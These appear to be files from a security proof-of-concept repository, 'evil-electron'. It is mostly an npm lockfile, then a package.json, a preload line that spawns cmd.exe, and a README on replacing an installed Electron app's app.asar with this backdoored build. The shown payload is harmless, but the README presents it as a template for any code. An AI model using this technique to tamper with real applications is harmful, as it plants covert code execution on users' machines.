275 | "integrity": "sha1-rT/0yG7C0CkyL1oCw6mmBslbP1k=",
276 | "dev": true,
277 | "optional": true
278 | },
279 | "end-of-stream": {
280 | "version": "1.4.4",
281 | "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.4.tgz",
282 | "integrity": "sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==",
283 | "dev": true,
284 | "requires": {
285 | "once": "^1.4.0"
286 | }
287 | },
288 | "env-paths": {
289 | "version": "2.2.0",
290 | "resolved": "https://registry.npmjs.org/env-paths/-/env-paths-2.2.0.tgz",
291 | "integrity": "sha512-6u0VYSCo/OW6IoD5WCLLy9JUGARbamfSavcNXry/eu8aHVFei6CD3Sw+VGX5alea1i9pgPHW0mbu6Xj0uBh7gA==",
292 | "dev": true
293 | },
294 | "es6-error": {
295 | "version": "4.1.1",
296 | "resolved": "https://registry.npmjs.org/es6-error/-/es6-error-4.1.1.tgz",
297 | "integrity": "sha512-Um/+FxMr9CISWh0bi5Zv0iOD+4cFh5qLeks1qhAopKVAJw3drgKbKySikp7wGhDL0HPeaja0P5ULZrxLkniUVg==",
298 | "dev": true,
299 | "optional": true
300 | },
301 | "escape-string-regexp": {
302 | "version": "4.0.0",
303 | "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz",
304 | "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==",
305 | "dev": true,
306 | "optional": true
307 | },
308 | "extract-zip": {
309 | "version": "1.7.0",
310 | "resolved": "https://registry.npmjs.org/extract-zip/-/extract-zip-1.7.0.tgz",
311 | "integrity": "sha512-xoh5G1W/PB0/27lXgMQyIhP5DSY/LhoCsOyZgb+6iMmRtCwVBo55uKaMoEYrDCKQhWvqEip5ZPKAc6eFNyf/MA==",
312 | "dev": true,
313 | "requires": {
314 | "concat-stream": "^1.6.2",
315 | "debug": "^2.6.9",
316 | "mkdirp": "^0.5.4",
317 | "yauzl": "^2.10.0"
318 | },
319 | "dependencies": {
320 | "debug": {
321 | "version": "2.6.9",
322 | "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
323 | "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
324 | "dev": true,
325 | "requires": {
326 | "ms": "2.0.0"
327 | }
328 | },
329 | "ms": {
330 | "version": "2.0.0",
331 | "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
332 | "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=",
333 | "dev": true
334 | }
335 | }
336 | },
337 | "fd-slicer": {
338 | "version": "1.1.0",
339 | "resolved": "https://registry.npmjs.org/fd-slicer/-/fd-slicer-1.1.0.tgz",
340 | "integrity": "sha1-JcfInLH5B3+IkbvmHY85Dq4lbx4=",
341 | "dev": true,
342 | "requires": {
343 | "pend": "~1.2.0"
344 | }
345 | },
346 | "fs-extra": {
347 | "version": "8.1.0",
348 | "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-8.1.0.tgz",
349 | "integrity": "sha512-yhlQgA6mnOJUKOsRUFsgJdQCvkKhcz8tlZG5HBQfReYZy46OwLcY+Zia0mtdHsOo9y/hP+CxMN0TU9QxoOtG4g==",
350 | "dev": true,
351 | "requires": {
352 | "graceful-fs": "^4.2.0",
353 | "jsonfile": "^4.0.0",
354 | "universalify": "^0.1.0"
355 | }
356 | },
357 | "get-stream": {
358 | "version": "4.1.0",
359 | "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-4.1.0.tgz",
360 | "integrity": "sha512-GMat4EJ5161kIy2HevLlr4luNjBgvmj413KaQA7jt4V8B4RDsfpHk7WQ9GVqfYyyx8OS/L66Kox+rJRNklLK7w==",
361 | "dev": true,
362 | "requires": {
363 | "pump": "^3.0.0"
364 | }
365 | },
366 | "global-agent": {
367 | "version": "2.1.12",
368 | "resolved": "https://registry.npmjs.org/global-agent/-/global-agent-2.1.12.tgz",
369 | "integrity": "sha512-caAljRMS/qcDo69X9BfkgrihGUgGx44Fb4QQToNQjsiWh+YlQ66uqYVAdA8Olqit+5Ng0nkz09je3ZzANMZcjg==",
370 | "dev": true,
371 | "optional": true,
372 | "requires": {
373 | "boolean": "^3.0.1",
374 | "core-js": "^3.6.5",
375 | "es6-error": "^4.1.1",
376 | "matcher": "^3.0.0",
377 | "roarr": "^2.15.3",
378 | "semver": "^7.3.2",
379 | "serialize-error": "^7.0.1"
380 | }
381 | },
382 | "global-tunnel-ng": {
383 | "version": "2.7.1",
384 | "resolved": "https://registry.npmjs.org/global-tunnel-ng/-/global-tunnel-ng-2.7.1.tgz",
385 | "integrity": "sha512-4s+DyciWBV0eK148wqXxcmVAbFVPqtc3sEtUE/GTQfuU80rySLcMhUmHKSHI7/LDj8q0gDYI1lIhRRB7ieRAqg==",
386 | "dev": true,
387 | "optional": true,
388 | "requires": {
389 | "encodeurl": "^1.0.2",
390 | "lodash": "^4.17.10",
391 | "npm-conf": "^1.1.3",
392 | "tunnel": "^0.0.6"
393 | }
394 | },
395 | "globalthis": {
396 | "version": "1.0.1",
397 | "resolved": "https://registry.npmjs.org/globalthis/-/globalthis-1.0.1.tgz",
398 | "integrity": "sha512-mJPRTc/P39NH/iNG4mXa9aIhNymaQikTrnspeCa2ZuJ+mH2QN/rXwtX3XwKrHqWgUQFbNZKtHM105aHzJalElw==",
399 | "dev": true,
400 | "optional": true,
401 | "requires": {
402 | "define-properties": "^1.1.3"
403 | }
404 | },
405 | "got": {
406 | "version": "9.6.0",
407 | "resolved": "https://registry.npmjs.org/got/-/got-9.6.0.tgz",
408 | "integrity": "sha512-R7eWptXuGYxwijs0eV+v3o6+XH1IqVK8dJOEecQfTmkncw9AV4dcw/Dhxi8MdlqPthxxpZyizMzyg8RTmEsG+Q==",
409 | "dev": true,
410 | "requires": {
411 | "@sindresorhus/is": "^0.14.0",
412 | "@szmarczak/http-timer": "^1.1.2",
413 | "cacheable-request": "^6.0.0",
414 | "decompress-response": "^3.3.0",
415 | "duplexer3": "^0.1.4",
416 | "get-stream": "^4.1.0",
417 | "lowercase-keys": "^1.0.1",
418 | "mimic-response": "^1.0.1",
419 | "p-cancelable": "^1.0.0",
420 | "to-readable-stream": "^1.0.0",
421 | "url-parse-lax": "^3.0.0"
422 | }
423 | },
424 | "graceful-fs": {
425 | "version": "4.2.4",
426 | "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.4.tgz",
427 | "integrity": "sha512-WjKPNJF79dtJAVniUlGGWHYGz2jWxT6VhN/4m1NdkbZ2nOsEF+cI1Edgql5zCRhs/VsQYRvrXctxktVXZUkixw==",
428 | "dev": true
429 | },
430 | "http-cache-semantics": {
431 | "version": "4.1.0",
432 | "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-4.1.0.tgz",
433 | "integrity": "sha512-carPklcUh7ROWRK7Cv27RPtdhYhUsela/ue5/jKzjegVvXDqM2ILE9Q2BGn9JZJh1g87cp56su/FgQSzcWS8cQ==",
434 | "dev": true
435 | },
436 | "inherits": {
437 | "version": "2.0.4",
438 | "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
439 | "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==",
440 | "dev": true
441 | },
442 | "ini": {
443 | "version": "1.3.5",
444 | "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.5.tgz",
445 | "integrity": "sha512-RZY5huIKCMRWDUqZlEi72f/lmXKMvuszcMBduliQ3nnWbx9X/ZBQO7DijMEYS9EhHBb2qacRUMtC7svLwe0lcw==",
446 | "dev": true,
447 | "optional": true
448 | },
449 | "isarray": {
450 | "version": "1.0.0",
451 | "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz",
452 | "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=",
453 | "dev": true
454 | },
455 | "json-buffer": {
456 | "version": "3.0.0",
457 | "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.0.tgz",
458 | "integrity": "sha1-Wx85evx11ne96Lz8Dkfh+aPZqJg=",
459 | "dev": true
460 | },
461 | "json-stringify-safe": {
462 | "version": "5.0.1",
463 | "resolved": "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz",
464 | "integrity": "sha1-Epai1Y/UXxmg9s4B1lcB4sc1tus=",
465 | "dev": true,
466 | "optional": true
467 | },
468 | "jsonfile": {
469 | "version": "4.0.0",
470 | "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-4.0.0.tgz",
471 | "integrity": "sha1-h3Gq4HmbZAdrdmQPygWPnBDjPss=",
472 | "dev": true,
473 | "requires": {
474 | "graceful-fs": "^4.1.6"
475 | }
476 | },
477 | "keyv": {
478 | "version": "3.1.0",
479 | "resolved": "https://registry.npmjs.org/keyv/-/keyv-3.1.0.tgz",
480 | "integrity": "sha512-9ykJ/46SN/9KPM/sichzQ7OvXyGDYKGTaDlKMGCAlg2UK8KRy4jb0d8sFc+0Tt0YYnThq8X2RZgCg74RPxgcVA==",
481 | "dev": true,
482 | "requires": {
483 | "json-buffer": "3.0.0"
484 | }
485 | },
486 | "lodash": {
487 | "version": "4.17.15",
488 | "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.15.tgz",
489 | "integrity": "sha512-8xOcRHvCjnocdS5cpwXQXVzmmh5e5+saE2QGoeQmbKmRS6J3VQppPOIt0MnmE+4xlZoumy0GPG0D0MVIQbNA1A==",
490 | "dev": true,
491 | "optional": true
492 | },
493 | "lowercase-keys": {
494 | "version": "1.0.1",
495 | "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-1.0.1.tgz",
496 | "integrity": "sha512-G2Lj61tXDnVFFOi8VZds+SoQjtQC3dgokKdDG2mTm1tx4m50NUHBOZSBwQQHyy0V12A0JTG4icfZQH+xPyh8VA==",
497 | "dev": true
498 | },
499 | "matcher": {
500 | "version": "3.0.0",
501 | "resolved": "https://registry.npmjs.org/matcher/-/matcher-3.0.0.tgz",
502 | "integrity": "sha512-OkeDaAZ/bQCxeFAozM55PKcKU0yJMPGifLwV4Qgjitu+5MoAfSQN4lsLJeXZ1b8w0x+/Emda6MZgXS1jvsapng==",
503 | "dev": true,
504 | "optional": true,
505 | "requires": {
506 | "escape-string-regexp": "^4.0.0"
507 | }
508 | },
509 | "mimic-response": {
510 | "version": "1.0.1",
511 | "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-1.0.1.tgz",
512 | "integrity": "sha512-j5EctnkH7amfV/q5Hgmoal1g2QHFJRraOtmx0JpIqkxhBhI/lJSl1nMpQ45hVarwNETOoWEimndZ4QK0RHxuxQ==",
513 | "dev": true
514 | },
515 | "minimist": {
516 | "version": "1.2.5",
517 | "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz",
518 | "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==",
519 | "dev": true
520 | },
521 | "mkdirp": {
522 | "version": "0.5.5",
523 | "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.5.tgz",
524 | "integrity": "sha512-NKmAlESf6jMGym1++R0Ra7wvhV+wFW63FaSOFPwRahvea0gMUcGUhVeAg/0BC0wiv9ih5NYPB1Wn1UEI1/L+xQ==",
525 | "dev": true,
526 | "requires": {
527 | "minimist": "^1.2.5"
528 | }
529 | },
530 | "ms": {
531 | "version": "2.1.2",
532 | "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
533 | "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==",
534 | "dev": true
535 | },
536 | "normalize-url": {
537 | "version": "4.5.0",
538 | "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-4.5.0.tgz",
539 | "integrity": "sha512-2s47yzUxdexf1OhyRi4Em83iQk0aPvwTddtFz4hnSSw9dCEsLEGf6SwIO8ss/19S9iBb5sJaOuTvTGDeZI00BQ==",
540 | "dev": true
541 | },
542 | "npm-conf": {
543 | "version": "1.1.3",
544 | "resolved": "https://registry.npmjs.org/npm-conf/-/npm-conf-1.1.3.tgz",
545 | "integrity": "sha512-Yic4bZHJOt9RCFbRP3GgpqhScOY4HH3V2P8yBj6CeYq118Qr+BLXqT2JvpJ00mryLESpgOxf5XlFv4ZjXxLScw==",
546 | "dev": true,
547 | "optional": true,
548 | "requires": {
549 | "config-chain": "^1.1.11",
550 | "pify": "^3.0.0"
551 | }
552 | },
553 | "object-keys": {
554 | "version": "1.1.1",
555 | "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.1.1.tgz",
556 | "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==",
557 | "dev": true,
558 | "optional": true
559 | },
560 | "once": {
561 | "version": "1.4.0",
562 | "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz",
563 | "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=",
564 | "dev": true,
565 | "requires": {
566 | "wrappy": "1"
567 | }
568 | },
569 | "p-cancelable": {
570 | "version": "1.1.0",
571 | "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-1.1.0.tgz",
572 | "integrity": "sha512-s73XxOZ4zpt1edZYZzvhqFa6uvQc1vwUa0K0BdtIZgQMAJj9IbebH+JkgKZc9h+B05PKHLOTl4ajG1BmNrVZlw==",
573 | "dev": true
574 | },
575 | "pend": {
576 | "version": "1.2.0",
577 | "resolved": "https://registry.npmjs.org/pend/-/pend-1.2.0.tgz",
578 | "integrity": "sha1-elfrVQpng/kRUzH89GY9XI4AelA=",
579 | "dev": true
580 | },
581 | "pify": {
582 | "version": "3.0.0",
583 | "resolved": "https://registry.npmjs.org/pify/-/pify-3.0.0.tgz",
584 | "integrity": "sha1-5aSs0sEB/fPZpNB/DbxNtJ3SgXY=",
585 | "dev": true,
586 | "optional": true
587 | },
588 | "prepend-http": {
589 | "version": "2.0.0",
590 | "resolved": "https://registry.npmjs.org/prepend-http/-/prepend-http-2.0.0.tgz",
591 | "integrity": "sha1-6SQ0v6XqjBn0HN/UAddBo8gZ2Jc=",
592 | "dev": true
593 | },
594 | "process-nextick-args": {
595 | "version": "2.0.1",
596 | "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz",
597 | "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==",
598 | "dev": true
599 | },
600 | "progress": {
601 | "version": "2.0.3",
602 | "resolved": "https://registry.npmjs.org/progress/-/progress-2.0.3.tgz",
603 | "integrity": "sha512-7PiHtLll5LdnKIMw100I+8xJXR5gW2QwWYkT6iJva0bXitZKa/XMrSbdmg3r2Xnaidz9Qumd0VPaMrZlF9V9sA==",
604 | "dev": true
605 | },
606 | "proto-list": {
607 | "version": "1.2.4",
608 | "resolved": "https://registry.npmjs.org/proto-list/-/proto-list-1.2.4.tgz",
609 | "integrity": "sha1-IS1b/hMYMGpCD2QCuOJv85ZHqEk=",
610 | "dev": true,
611 | "optional": true
612 | },
613 | "pump": {
614 | "version": "3.0.0",
615 | "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz",
616 | "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==",
617 | "dev": true,
618 | "requires": {
619 | "end-of-stream": "^1.1.0",
620 | "once": "^1.3.1"
621 | }
622 | },
623 | "readable-stream": {
624 | "version": "2.3.7",
625 | "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
626 | "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==",
627 | "dev": true,
628 | "requires": {
629 | "core-util-is": "~1.0.0",
630 | "inherits": "~2.0.3",
631 | "isarray": "~1.0.0",
632 | "process-nextick-args": "~2.0.0",
633 | "safe-buffer": "~5.1.1",
634 | "string_decoder": "~1.1.1",
635 | "util-deprecate": "~1.0.1"
636 | }
637 | },
638 | "responselike": {
639 | "version": "1.0.2",
640 | "resolved": "https://registry.npmjs.org/responselike/-/responselike-1.0.2.tgz",
641 | "integrity": "sha1-kYcg7ztjHFZCvgaPFa3lpG9Loec=",
642 | "dev": true,
643 | "requires": {
644 | "lowercase-keys": "^1.0.0"
645 | }
646 | },
647 | "roarr": {
648 | "version": "2.15.3",
649 | "resolved": "https://registry.npmjs.org/roarr/-/roarr-2.15.3.tgz",
650 | "integrity": "sha512-AEjYvmAhlyxOeB9OqPUzQCo3kuAkNfuDk/HqWbZdFsqDFpapkTjiw+p4svNEoRLvuqNTxqfL+s+gtD4eDgZ+CA==",
651 | "dev": true,
652 | "optional": true,
653 | "requires": {
654 | "boolean": "^3.0.0",
655 | "detect-node": "^2.0.4",
656 | "globalthis": "^1.0.1",
657 | "json-stringify-safe": "^5.0.1",
658 | "semver-compare": "^1.0.0",
659 | "sprintf-js": "^1.1.2"
660 | }
661 | },
662 | "safe-buffer": {
663 | "version": "5.1.2",
664 | "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz",
665 | "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==",
666 | "dev": true
667 | },
668 | "sanitize-filename": {
669 | "version": "1.6.3",
670 | "resolved": "https://registry.npmjs.org/sanitize-filename/-/sanitize-filename-1.6.3.tgz",
671 | "integrity": "sha512-y/52Mcy7aw3gRm7IrcGDFx/bCk4AhRh2eI9luHOQM86nZsqwiRkkq2GekHXBBD+SmPidc8i2PqtYZl+pWJ8Oeg==",
672 | "dev": true,
673 | "requires": {
674 | "truncate-utf8-bytes": "^1.0.0"
675 | }
676 | },
677 | "semver": {
678 | "version": "7.3.2",
679 | "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.2.tgz",
680 | "integrity": "sha512-OrOb32TeeambH6UrhtShmF7CRDqhL6/5XpPNp2DuRH6+9QLw/orhp72j87v8Qa1ScDkvrrBNpZcDejAirJmfXQ==",
681 | "dev": true,
682 | "optional": true
683 | },
684 | "semver-compare": {
685 | "version": "1.0.0",
686 | "resolved": "https://registry.npmjs.org/semver-compare/-/semver-compare-1.0.0.tgz",
687 | "integrity": "sha1-De4hahyUGrN+nvsXiPavxf9VN/w=",
688 | "dev": true,
689 | "optional": true
690 | },
691 | "serialize-error": {
692 | "version": "7.0.1",
693 | "resolved": "https://registry.npmjs.org/serialize-error/-/serialize-error-7.0.1.tgz",
694 | "integrity": "sha512-8I8TjW5KMOKsZQTvoxjuSIa7foAwPWGOts+6o7sgjz41/qMD9VQHEDxi6PBvK2l0MXUmqZyNpUK+T2tQaaElvw==",
695 | "dev": true,
696 | "optional": true,
697 | "requires": {
698 | "type-fest": "^0.13.1"
699 | }
700 | },
701 | "sprintf-js": {
702 | "version": "1.1.2",
703 | "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.1.2.tgz",
704 | "integrity": "sha512-VE0SOVEHCk7Qc8ulkWw3ntAzXuqf7S2lvwQaDLRnUeIEaKNQJzV6BwmLKhOqT61aGhfUMrXeaBk+oDGCzvhcug==",
705 | "dev": true,
706 | "optional": true
707 | },
708 | "string_decoder": {
709 | "version": "1.1.1",
710 | "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
711 | "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
712 | "dev": true,
713 | "requires": {
714 | "safe-buffer": "~5.1.0"
715 | }
716 | },
717 | "sumchecker": {
718 | "version": "3.0.1",
719 | "resolved": "https://registry.npmjs.org/sumchecker/-/sumchecker-3.0.1.tgz",
720 | "integrity": "sha512-MvjXzkz/BOfyVDkG0oFOtBxHX2u3gKbMHIF/dXblZsgD3BWOFLmHovIpZY7BykJdAjcqRCBi1WYBNdEC9yI7vg==",
721 | "dev": true,
722 | "requires": {
723 | "debug": "^4.1.0"
724 | }
725 | },
726 | "to-readable-stream": {
727 | "version": "1.0.0",
728 | "resolved": "https://registry.npmjs.org/to-readable-stream/-/to-readable-stream-1.0.0.tgz",
729 | "integrity": "sha512-Iq25XBt6zD5npPhlLVXGFN3/gyR2/qODcKNNyTMd4vbm39HUaOiAM4PMq0eMVC/Tkxz+Zjdsc55g9yyz+Yq00Q==",
730 | "dev": true
731 | },
732 | "truncate-utf8-bytes": {
733 | "version": "1.0.2",
734 | "resolved": "https://registry.npmjs.org/truncate-utf8-bytes/-/truncate-utf8-bytes-1.0.2.tgz",
735 | "integrity": "sha1-QFkjkJWS1W94pYGENLC3hInKXys=",
736 | "dev": true,
737 | "requires": {
738 | "utf8-byte-length": "^1.0.1"
739 | }
740 | },
741 | "tunnel": {
742 | "version": "0.0.6",
743 | "resolved": "https://registry.npmjs.org/tunnel/-/tunnel-0.0.6.tgz",
744 | "integrity": "sha512-1h/Lnq9yajKY2PEbBadPXj3VxsDDu844OnaAo52UVmIzIvwwtBPIuNvkjuzBlTWpfJyUbG3ez0KSBibQkj4ojg==",
745 | "dev": true,
746 | "optional": true
747 | },
748 | "type-fest": {
749 | "version": "0.13.1",
750 | "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.13.1.tgz",
751 | "integrity": "sha512-34R7HTnG0XIJcBSn5XhDd7nNFPRcXYRZrBB2O2jdKqYODldSzBAqzsWoZYYvduky73toYS/ESqxPvkDf/F0XMg==",
752 | "dev": true,
753 | "optional": true
754 | },
755 | "typedarray": {
756 | "version": "0.0.6",
757 | "resolved": "https://registry.npmjs.org/typedarray/-/typedarray-0.0.6.tgz",
758 | "integrity": "sha1-hnrHTjhkGHsdPUfZlqeOxciDB3c=",
759 | "dev": true
760 | },
761 | "universalify": {
762 | "version": "0.1.2",
763 | "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.1.2.tgz",
764 | "integrity": "sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg==",
765 | "dev": true
766 | },
767 | "url-parse-lax": {
768 | "version": "3.0.0",
769 | "resolved": "https://registry.npmjs.org/url-parse-lax/-/url-parse-lax-3.0.0.tgz",
770 | "integrity": "sha1-FrXK/Afb42dsGxmZF3gj1lA6yww=",
771 | "dev": true,
772 | "requires": {
773 | "prepend-http": "^2.0.0"
774 | }
775 | },
776 | "utf8-byte-length": {
777 | "version": "1.0.4",
778 | "resolved": "https://registry.npmjs.org/utf8-byte-length/-/utf8-byte-length-1.0.4.tgz",
779 | "integrity": "sha1-9F8VDExm7uloGGUFq5P8u4rWv2E=",
780 | "dev": true
781 | },
782 | "util-deprecate": {
783 | "version": "1.0.2",
784 | "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz",
785 | "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=",
786 | "dev": true
787 | },
788 | "wrappy": {
789 | "version": "1.0.2",
790 | "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz",
791 | "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=",
792 | "dev": true
793 | },
794 | "yauzl": {
795 | "version": "2.10.0",
796 | "resolved": "https://registry.npmjs.org/yauzl/-/yauzl-2.10.0.tgz",
797 | "integrity": "sha1-x+sXyT4RLLEIb6bY5R+wZnt5pfk=",
798 | "dev": true,
799 | "requires": {
800 | "buffer-crc32": "~0.2.3",
801 | "fd-slicer": "~1.1.0"
802 | }
803 | }
804 | }
805 | }
806 | {
807 | "name": "evil-electron",
808 | "version": "1.0.0",
809 | "description": "Backdoored app.asar that spawns cmd.",
810 | "main": "main.js",
811 |
812 | "scripts": {
813 | "start": "electron ."
814 | },
815 | "repository": {
816 | "type": "git",
817 | "url": "git+https://github.com/parsiya/evil-electron.git"
818 | },
819 | "author": "Parsia Hakimian",
820 | "license": "MIT",
821 | "bugs": {
822 | "url": "https://github.com/parsiya/evil-electron/issues"
823 | },
824 | "homepage": "https://github.com/parsiya/evil-electron#readme",
825 | "devDependencies": {
826 | "electron": "^9.0.5"
827 | }
828 | }
829 | // Spawn a command prompt.
830 | require('child_process').exec('start cmd.exe');# Evil Electron a Backdoored Electron app.asar
831 | This is a fork of the Electron Quick Start application at
832 | https://github.com/electron/electron-quick-start.
833 |
834 | It spawns calc. To change it, modify [preload.js](preload.js).
835 |
836 | ## Quickstart
837 |
838 | 1. Make a copy of the original `/path/to/electron/app/resources/app.asar` file.
839 | 2. Copy `release/app.asar` into the path above.
840 | 3. Run the Electron app to see `cmd` pop.
841 |
842 | ## Building
843 | This repository creates an `app.asar` file and not a complete Electron app.
844 |
845 | ```
846 | # Clone this repository
847 | git clone https://github.com/parsiya/evil-electron
848 | # Go into the repository
849 | cd electron-quick-start
850 | # Install dependencies
851 | npm install
852 | # Run the app to test it
853 | npm start
854 | # Install asar globally if it's not already installed
855 | npm install -g asar
856 | # Package the app into app.asar
857 | asar pack . app.asar
858 | # Copy app.asar to the place you want
859 | ```
860 |
861 |
862 | # Clone this repository
863 | git clone https://github.com/parsiya/evil-electron
864 | # Go into the repository
865 | cd electron-quick-start
866 | # Install dependencies
867 | npm install
868 | # Run the app to test it
869 | npm start
870 | # Install asar globally if it's not already installed
871 | npm install -g asar
872 | # Package the app into app.asar
873 | asar pack . app.asar
874 | # Copy app.asar to the place you want
875 |
876 | ## What Is This Used For?
877 | TBA.
878 |
879 | ## Troubleshooting
880 | See the original repository at https://github.com/electron/electron-quick-start
881 | and the [Writing Your First Electron App][first-electron] article.
882 |
883 | [first-electron]: https://www.electronjs.org/docs/tutorial/first-app
884 |
885 | ## License
886 | MIT, see [LICENSE](LICENSE) for details. The original project ise licensed under
887 | `CC0 1.0 (Public Domain)`. I felt like the hamburglar after changing the
888 | license.
889 |
--------------------------------------------------------------------------------